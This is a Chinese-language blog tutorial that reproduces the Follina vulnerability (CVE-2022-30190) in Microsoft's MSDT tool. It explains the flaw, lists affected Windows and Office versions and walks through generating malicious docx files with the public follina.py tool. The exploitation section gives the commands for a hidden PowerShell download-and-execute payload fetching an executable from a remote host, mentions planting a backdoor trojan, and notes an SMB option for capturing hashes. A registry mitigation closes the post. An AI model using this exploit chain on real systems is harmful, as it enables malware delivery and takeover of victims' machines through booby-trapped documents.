CVE-2022-30190(follina):Microsoft诊断工具(MSDT)远程代码执行漏洞复现(超级详细)

本文详细介绍了CVE-2022-30190漏洞,这是一个高危级别的代码执行漏洞,影响多个Windows版本和Office产品。利用此漏洞,攻击者可通过打开恶意docx文件执行任意代码。复现过程中展示了如何使用工具follina.py生成可执行文档,并给出了两种漏洞利用方法。同时,提供了禁用MSDTURL协议的临时解决方案以防止攻击。
摘要由CSDN通过智能技术生成


免责声明

本文章仅供学习和研究使用,严禁使用该文章内容对互联网其他应用进行非法操作,若将其用于非法目的,所造成的后果由您自行承担,产生的一切风险与本文作者无关,如继续阅读该文章即表明您默认遵守该内容。

前言

MS Office docx 文件可能包含作为 HTML 文件的外部 OLE 对象引用。有一个 HTML 场景 ms-msdt: 调用 msdt 诊断工具,它能够执行任意代码(在参数中指定)。
结果是一个可怕的攻击向量,通过打开恶意 docx 文件(不使用宏)来获取 RCE。
通俗来说就是调用远程html文件来执行任意代码。

一、漏洞简介

CVE: CVE-2022-30190

组件: Microsoft Windows Support Diagnostic Tool(MSDT) Windows

漏洞类型: 代码执行

影响: 服务器接管

简述: 从 Word 等调用应用程序使用 URL 协议调用 MSDT 时存在远程执行代码漏洞。成功利用此漏洞的攻击者可以使用调用应用程序的权限运行任意代码。然后,攻击者可以安装程序、查看、更改或删除数据,或者在用户权限允许的上下文中创建新帐户。

风险等级评判

2022年06月01日,微软官方发布了Microsoft Windows Support Diagnostic Tool(MSDT)的风险通告,漏洞编号为CVE-2022-30190,漏洞等级:高危,漏洞评分:7.8。目前,该漏洞的漏洞细节与POC均已公开,已发现在野利用。目前,该漏洞暂无官方补丁
360CERT对该漏洞的评定结果如下:

评定方式等级
威胁等级高危
影响面广泛
攻击者价值
利用难度
360CERT评分7.8

二、影响版本

几乎可以说覆盖所有常用的windows操作系统了,可见这个漏洞还是非常危险的

Windows Server 2012 R2 (Server Core installation)

Windows Server 2012 R2

Windows Server 2012 (Server Core installation)

Windows Server 2012

Windows Server 2008 R2 for x64-based Systems Service Pack 1 (Server Core installation)

Windows Server 2008 R2 for x64-based Systems Service Pack 1

Windows Server 2008 for x64-based Systems Service Pack 2 (Server Core installation)

Windows Server 2008 for x64-based Systems Service Pack 2

Windows Server 2008 for 32-bit Systems Service Pack 2 (Server Core installation)

Windows Server 2008 for 32-bit Systems Service Pack 2

Windows RT 8.1

Windows 8.1 for x64-based systems

Windows 8.1 for 32-bit systems

Windows 7 for x64-based Systems Service Pack 1

Windows 7 for 32-bit Systems Service Pack 1

Windows Server 2016 (Server Core installation)

Windows Server 2016

Windows 10 Version 1607 for x64-based Systems

Windows 10 Version 1607 for 32-bit Systems

Windows 10 for x64-based Systems

Windows 10 for 32-bit Systems

Windows 10 Version 21H2 for x64-based Systems

Windows 10 Version 21H2 for ARM64-based Systems

Windows 10 Version 21H2 for 32-bit Systems

Windows 11 for ARM64-based Systems

Windows 11 for x64-based Systems

Windows Server, version 20H2 (Server Core Installation)

Windows 10 Version 20H2 for ARM64-based Systems

Windows 10 Version 20H2 for 32-bit Systems

Windows 10 Version 20H2 for x64-based Systems

Windows Server 2022 Azure Edition Core Hotpatch

Windows Server 2022 (Server Core installation)

Windows Server 2022

Windows 10 Version 21H1 for 32-bit Systems

Windows 10 Version 21H1 for ARM64-based Systems

Windows 10 Version 21H1 for x64-based Systems

Windows Server 2019 (Server Core installation)

Windows Server 2019

Windows 10 Version 1809 for ARM64-based Systems

Windows 10 Version 1809 for x64-based Systems

Windows 10 Version 1809 for 32-bit Systems

office版本

目前已知影响的版本为:

office 2021 Lts

office 2019

office 2016

Office 2013

Office ProPlus

Office 365

三、漏洞复现

说了这么多让我们开始复现吧

复现环境

版本: Windows 10 专业工作站版
版本号: 21H2
操作系统内部版本 19044.1741

kali-linux-2022.2-amd64

python 3及以上

工具

前面已经提到漏洞的poc已经在网上公开,所以我们使用此项目https://github.com/chvancooten/follina.py(点击直达)
项目主页

由于GitHub非常的神奇,有的小伙伴经常打不开,所以这里是几个镜像克隆地址(在kali终端输入即可拉取)
克隆地址1

git clone https://hub.fastgit.xyz/chvancooten/follina.py.git

克隆地址2

git clone https://hub.0z.gs/chvancooten/follina.py.git

克隆地址3

git clone https://api.mtr.pub/chvancooten/follina.py.git

拉取照片

使用方法

首先进入poc的文件夹

cd follina.py/

提示:cd为命令,输入文件(夹)名按teb键可以自动补全,例:输入fo,按teb即可完成输入

进入文件夹

使用python follina.py -h即可获取使用方法,如图:
help
知道你们看不懂,给你们中文翻译版(机翻)

选项:
  -h, --help            显示帮助信息并退出

所需的参数:
  -m {command,binary}, --mode {command,binary}
   command:命令      binary:二进制 
    执行模式,可以是“二进制”加载一个(远程)二进制,或“命令”运行一个编码的PS命令

二进制执行参数:
  -b BINARY, --binary BINARY
                      要运行的二进制文件的完整路径。SMB共享可以是本地的或远程的

命令执行参数:
  -c COMMAND, --command COMMAND
                       以“命令”模式执行的编码命令

可选参数:
  -t {rtf,docx}, --type {rtf,docx}
                        使用的有效载荷类型,可以是“docx”或“rtf”
  -u URL, --url URL     生成的文档检索有效负载的主机名或IP地址,默认为“localhost”。如果指定了自定义URL方案或路径,则禁用web服务器
  -H HOST, --host HOST  web服务器监听的接口,默认为所有接口(0.0.0.0)
  -P PORT, --port PORT  PORT运行HTTP服务器的端口,默认为80

下面是一些我整理举的一些例子

例子:
# 执行本地二进制文件
python .\follina.py -m binary -b \windows\system32\calc.exe

# 在linux上,需要转义反斜杠
python .\follina.py -m binary -b \\windows\\system32\\calc.exe

# 从文件共享执行一个二进制文件(可用于农场哈希值👀)
python .\follina.py -m binary -b \\localhost\c$\windows\system32\calc.exe

# 执行任意的powershell命令
python .\follina.py -m command -c "Start-Process c:\windows\system32\cmd.exe -WindowStyle hidden -ArgumentList '/c echo owned > c:\users\public\owned.txt'"

# 在默认接口(所有接口,0.0.0.0)上运行web服务器,但告诉恶意文档在http://1.2.3.4/exploit.html上检索它
(运行\windows\system32\calc.exe )
python .\follina.py -m binary -b \windows\system32\calc.exe -u 1.2.3.4

# 只在本地主机上运行web服务器,端口为8080而不是80
python .\follina.py -m binary -b \windows\system32\calc.exe -H 127.0.0.1 -P 8080

利用

我这里只给大家展示两种漏洞利用的方法,其他的你们自己探索吧!

第一种

运行本地的某个文件,我这里拿“计算器”这个软件举例
首先我们找到自带的计算器的文件路径为\windows\system32\calc.exe
计算器
然后我们在刚才打开的kail终端输入:

python follina.py -t docx -m binary -b \windows\system32\calc.exe 

如果出现如下图的报错说明端口被占用了检查一下自己的80端口
报错
或修改poc的端口,执行以下语句

python follina.py -t docx -m binary -b \windows\system32\calc.exe  -P 8081

在这里插入图片描述
这时说明成功了 ,
不要关闭终端
然后在返回poc的目录下你会发现生成了一个docx文档,
文档
我们运行它,
成功
欧克欧克,我们已经成功复现漏洞了,可喜可贺!

第二种

这里操作和第一种的操作流程和方法一样,这里主要是利用漏洞执行任意的powershell命令,所以首先我先展示一个powershell命令。

cmd.exe /c powershell.exe -ExecutionPolicy bypass -noprofile -windowstyle hidden (new-object system.net.webclient).downloadfile('http://0.0.0.0/1.exe','1.exe');start-process 1.exe

这段代码代码是什么意思呢??相信有小伙伴已经明白了‘
就是从http://0.0.0.0/1.exe这个地址下载1.exe这个文件。

downloadfile(‘http://0.0.0.0/1.exe’,‘1.exe’)

后面的1.exe是文件名字。

start-process 1.exe

这段命令就是运行1.exe这个文件。

所以合起来就是从XXX地址下载XX文件并运行它,如果我是一名黑客的话,我会在我的服务器上传一个后门木马,这样当用户点开文档就会自动下载和运行木马了。(只是想想,你可别真做,犯法的!!
如果你对木马感兴趣的话给你推荐:

https://blog.csdn.net/NuclearDalance/article/details/116450238

回到正题,还有其他的攻击和复现方法,相信你们可以自己发现,这里我就不做过多分享。

防范避免

目前还有官方的补丁但是可以禁用 MSDT URL 协议可防止故障排除程序作为链接启动,包括整个操作系统的链接。仍然可以使用“获取帮助”应用程序和系统设置中的其他或附加故障排除程序来访问故障排除程序。请按照以下步骤禁用:

  1. 以管理员身份运行命令提示符。

  2. 要备份注册表项,请执行命令“reg export HKEY_CLASSES_ROOT\ms-msdt filename ”

  3. 执行命令“reg delete HKEY_CLASSES_ROOT\ms-msdt /f”。

如何撤消解决方法

  1. 以管理员身份运行命令提示符。
  2. 要恢复注册表项,请执行命令“reg import filename”

结尾

本文章由我,一名在校初中生编写,文章引用了部分文献,链接均在参考
由于时间有点紧所以如果你觉得有什么地方有错误欢迎在评论区指出也可以私信我,有什么不懂的也可以在评论区讨论交流,希望各位大神多指点!最后提醒大家***网络并非法外之地,请大家遵纪守法。***能力越大责任越大哟!

参考

https://cert.360.cn/warning/detail?id=987c83609faa3afc4f3946a5b0321af1
https://github.com/chvancooten/follina.py
https://blog.csdn.net/weixin_45329947/article/details/125089243
https://msrc.microsoft.com/update-guide/zh-CN/vulnerability/CVE-2022-30190

评论 7
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值